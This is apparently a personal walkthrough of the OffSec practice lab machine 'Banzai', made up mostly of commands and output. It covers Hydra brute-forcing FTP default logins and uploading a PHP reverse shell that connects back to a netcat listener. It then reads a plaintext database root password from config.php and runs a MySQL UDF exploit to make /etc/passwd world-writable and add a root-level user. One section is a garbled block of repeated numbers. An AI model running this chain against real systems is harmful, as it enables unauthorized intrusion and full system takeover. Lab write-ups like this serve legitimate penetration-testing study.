

# OffSec Practice Banzai(Intermediate) Alif

# **Enumeration**

# **Nmap**

# Port 21(FTP)

Anonymous login is not allowed but tried to use hydra to brute force a user and password using default user and pass list

```
(kali® kali)-[/usr/share/seclists/Passwords/Default-Credentials]
$ hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt 192.168.171.56 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizatio
ns, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-17 08:16:00
[DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries, ~5 tries per task
[DATA] attacking ftp://192.168.171.56:21/
[21][ftp] host: 192.168.171.56 login: admin password: admin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-17 08:16:16
```

Seems that using Is or dir does not work

```
(kali® kali)-[/usr/share/seclists/Passwords/Default-Credentials]
$ ftp 192.168.171.56
Connected to 192.168.171.56.
220 (vsFTPd 3.0.3)
Name (192.168.171.56:kali): admin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||38167|)
```

### Will need to put in passive

```
229 Entering Extended Passive Mode (|||38167|)
^C
receive aborted. Waiting for remote to finish abort.
ftp> passive
Passive mode: off; fallback to active mode: off.
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
            2 1001
                                    4096 May 26 2020 contactform
                       0
drwxr-xr-x
           2 1001
                                    4096 May 26 2020 css
                       0
drwxr-xr-x
                      0
                                   4096 May 26 2020 img
           3 1001
drwxr-xr-x
-rw-r--r--
            1 1001
                      0
                                   23364 May 27 2020 index.php
            2 1001
                      0
                                   4096 May 26
                                                2020 js
drwxr-xr-x
                    0
drwxr-xr-x 11 1001
                                   4096 May 26 2020 lib
226 Directory send OK.
ftp>
```

# **Getting the Shell**

We can see that there is an img folder, and if we use director to brute force for more directories, we can also see a directory for img:

```
-$ cat dirbustersmall

# Dirsearch started Wed Jan 17 01:13:03 2024 as: /usr/lib/python3/dist-packages/dirsearch/dirsearch.py -u http://12.168

# 18295/ -x 403,404 -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -o dirbustersmall

# 301 321B http://192.168

# 18295/img → REDIRECTS TO: http://192.168

# 18295/css → REDIRECTS TO: http://192.168
```

So I will upload a reverse shell php file to the folder

```
ftp> pwd
Remote directory: /img
ftp> PUT reverse.php
?Invalid command.
ftp> put reverse.php
local: reverse.php remote: reverse.php
200 EPRT command successful. Consider using EPSV.
150 Ok to send data.
100% | ******************* | 5494
                                                                    43.66 MiB/s
                                                                                00:00 ETA
226 Transfer complete.
5494 bytes sent in 00:00 (16.35 KiB/s)
ftp> ls
200 EPRT command successful. Consider using EPSV.
ftp>
```

## Now we can go to the directory and execute it:

<u>Name</u>	Last modified	Size Description
Parent Directory		-
about-img.jpg	2020-05-26 09:36	43K
apple-touch-icon.png	2020-05-26 09:36	1.7K
call-to-action-bg.jpg	2020-05-26 09:36	307K
🛂 <u>favicon.pn</u> g	2020-05-26 09:36	491
💁 <u>hero-bg.jpg</u>	2020-05-26 09:36	114K
💁 <u>logo.pn</u> g	2020-05-26 09:36	1.7K
portfolio/	2020-05-26 09:36	-
reverse.php	2024-01-17 08:32	5.4K
💁 <u>team-1.jpg</u>	2020-05-26 09:36	67K
🛂 <u>team-2.jpg</u>	2020-05-26 09:36	48K
🛂 <u>team-3.jpg</u>	2020-05-26 09:36	66K
team-4.jpg	2020-05-26 09:36	46K

Apache/2.4.25 (Debian) Server at 192.168.171.56 Port 8295

```
(kali⊕ kali)-[~/Desktop/offsecLab/Banzai]
$ nc -nlvp 22
listening on [any] 22 ...
connect to [192.168.45.183] from (UNKNOWN) [192.168.171.56] 57084
Linux banzai 4.9.0-12-amd64 #1 SMP Debian 4.9.210-1 (2020-01-20) x86_64 GNU/Linux
08:38:07 up 25 min, 0 users, load average: 0.00, 0.00, 0.00

JSER TTY FROM LOGIN⊕ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
```

# **Privilege Escalation**

Found some useful info after poking around for a while in /var/www

```
www-data@banzai:/$ cd /var/www
www-data@banzai:/var/www$ lss
bash: lss: command not found
www-data@banzai:/var/www$ ls
config.php html
www-data@banzai:/var/www$ cat config.php
<?php
define('DBHOST', '127.0.0.1');
define('DBUSER', 'root');
define('DBPASS', 'EscalateRaftHubris123');
define('DBNAME', 'main');
?>
www-data@banzai:/var/www$
```

We can login as the root user to mysql it seems, and checked if mysql is running with root privileges:

```
www-data@banzai:/var/www$ ps aux | grep mysql
root 677 0.0 8.5 1122720 175828 ? Sl 08:13 0:00 /usr/sbin/mysqld --daemonize --pid-file=/var/run/my
sqld/mysqld.pid
www-data 1541 0.0 0.0 11108 940 pts/0 S+ 08:49 0:00 grep mysql
www-data@banzai:/var/www$
```

Seems like it is, with this, I can try this method to get root user to change the /etc/passwd to create a new super user:

https://steflan-security.com/linux-privilege-escalation-exploiting-user-defined-functions/

In the exploit, we will need to transfer over more files, so i used ftp to transfer since the wget method seems to not be working:

```
| 1723 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 | 1825 |
```

Once done i followed the steps in the link and changed the passwd file to be written by anyone

```
mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.02 sec)
mysql> insert into foo values(load_file('/var/www/html/img/raptor_udf2.so'));
Query OK, 1 row affected (0.00 sec)
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/udf_file_name.so';
Query OK, 1 row affected (0.00 sec)
mysql> create function do_system returns integer soname 'udf_file_name.so';
Query OK, 0 rows affected (0.00 sec)
mysql> show variables like '%plugin%';
| Variable_name
                                l Value
| default_authentication_plugin | mysql_native_password
| plugin_dir
                                | /usr/lib/mysql/plugin/
2 rows in set (0.00 sec)
mysql> select do_system('chmod 777 /etc/passwd');
| do_system('chmod 777 /etc/passwd') |
1 row in set (0.01 sec)
mysql>
```

Then i added a new super user using this link:

https://medium.com/@vivek-kumar/simplest-way-to-add-a-root-user-on-a-target-linux-machine-a3b9e73c37b3

ftp:x:108:113:ftp daemon,,,:/srv/ftp:/bin/false
mysql:x:109:114:MySQL Server,,,:/var/lib/mysql:/bin/false
postfix:x:110:115::/var/spool/postfix:/bin/false
postgres:x:111:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
test:\$1\$jhFVdx44\$NbrqapA16QRun6mHAcME11:0:0:test,,,:/root:/bin/bash

root@banzai:/var/www/html/img#

Index of /img

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